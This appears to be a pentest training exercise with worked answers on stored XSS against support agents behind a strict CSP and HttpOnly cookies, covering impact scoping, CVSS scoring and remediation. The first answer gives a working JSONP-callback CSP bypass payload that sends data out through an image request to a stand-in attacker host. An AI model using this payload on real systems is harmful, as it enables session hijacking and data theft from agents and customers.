Stored XSS Against Support Agents Behind a Strict CSP and HttpOnly Cookies
A 900-person insurer runs a custom support portal. Agents triage tickets in an admin SPA at https://portal.example.com/admin. You have been issued one test agent account, pentest-agent-1, and one test customer account. Ticket bodies are rendered with innerHTML after a DOMPurify pass you believe is 2.x with ADD_ATTR: ['target']. The session cookie is HttpOnly; Secure; SameSite=Lax. The CSP is default-src 'self'; script-src 'self'; img-src 'self' https:. You notice that GET /api/v1/tickets/export?callback=foo returns foo({...}) with Content-Type: application/javascript, reflecting the callback parameter unvalidated. Real agents are actively working the queue during your test window, and the client has said repeatedly: "do not impact the agents."
1. Given HttpOnly and `script-src 'self'`, what payload actually executes, and how does it exfiltrate?
Read the worked answer
HttpOnly kills document.cookie, so the payload's goal is not cookie theft - it is to act as the agent using the ambient session. script-src 'self' blocks inline handlers and your own domain, but the reflected JSONP endpoint is on portal.example.com, so it is 'self'.
The execution primitive is a script tag pointing at that endpoint with a callback that is itself valid JavaScript: <script src="/api/v1/tickets/export?callback=alert(document.domain)//"></script>. The response becomes alert(document.domain)//({...}), which executes under the CSP because the source is same-origin. From there the payload fetches admin-only JSON endpoints with credentials: 'include' - same-origin requests carry the HttpOnly cookie automatically - and exfiltrates via new Image().src='https://oob.attacker.example/?d='+encodeURIComponent(data), which is permitted because img-src allows https:.
Note what this says about the sanitizer: DOMPurify is doing its job on the HTML, and the JSONP endpoint defeats the control entirely outside the sanitizer's scope. The remediation is not "more DOMPurify", it is removing the reflective callback and moving the CSP to nonces with script-src 'nonce-...' 'strict-dynamic'. Also flag the missing __Host- prefix on the cookie.
2. How do you demonstrate impact without firing the payload at a real agent?
Read the worked answer
Keep the blast radius on your own accounts. Create the malicious ticket from the test customer account, then open it in the admin SPA as pentest-agent-1 only. The OOB listener shows a hit containing data that only the agent session can reach - for example the agent's own profile from /api/v1/me - which is sufficient proof of privilege and is entirely within the accounts you were given.
The real hazard is the ticket list view. If the payload executes when the queue renders, every agent who opens the triage page fires it, including during your test window. Mitigate before you submit: either test against a staging copy, or gate the payload so it only acts for your agent's user id (a conditional fetch of /api/v1/me before exfiltrating) and pop a harmless alert(document.domain) for anyone else. If the client wants a real-agent demonstration, get it in writing, schedule it, and use the alert-only variant.
Hygiene afterwards: keep the number of payload tickets to a minimum, timestamp every creation/view, and delete them once evidence is captured. Include the gating logic in the report appendix - it demonstrates you understood the shared-render risk.
3. How do you score and write this up so a non-technical CISO understands why it outranks a reflected XSS?
Read the worked answer
Score it as stored, low-privilege, admin-context: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N, which lands at about 7.6. The reasoning matters more than the number: PR:L because any customer can submit a ticket, UI:R because an agent has to open it, S:C because the payload executes in the agent's origin rather than the customer's - that scope change is why it cannot be compared to a reflected XSS on the customer portal.
The narrative should be one paragraph of business consequence: an unauthenticated attacker becomes a customer, submits a ticket, and gains the ability to read and act on other customers' tickets inside an agent's browser, without ever stealing a cookie. That sentence explains why HttpOnly and the CSP did not save them.
Evidence: a screen recording of the ticket being created, the agent opening it, and the OOB listener receiving the exfiltrated profile - with the listener URL and timestamp visible. Remediation, in priority order: remove the reflective callback parameter, add per-response nonces with strict-dynamic, escape-and-render ticket bodies as text, add Trusted Types, and move the session cookie to __Host- with SameSite=Strict. Give the client a retest criterion for each.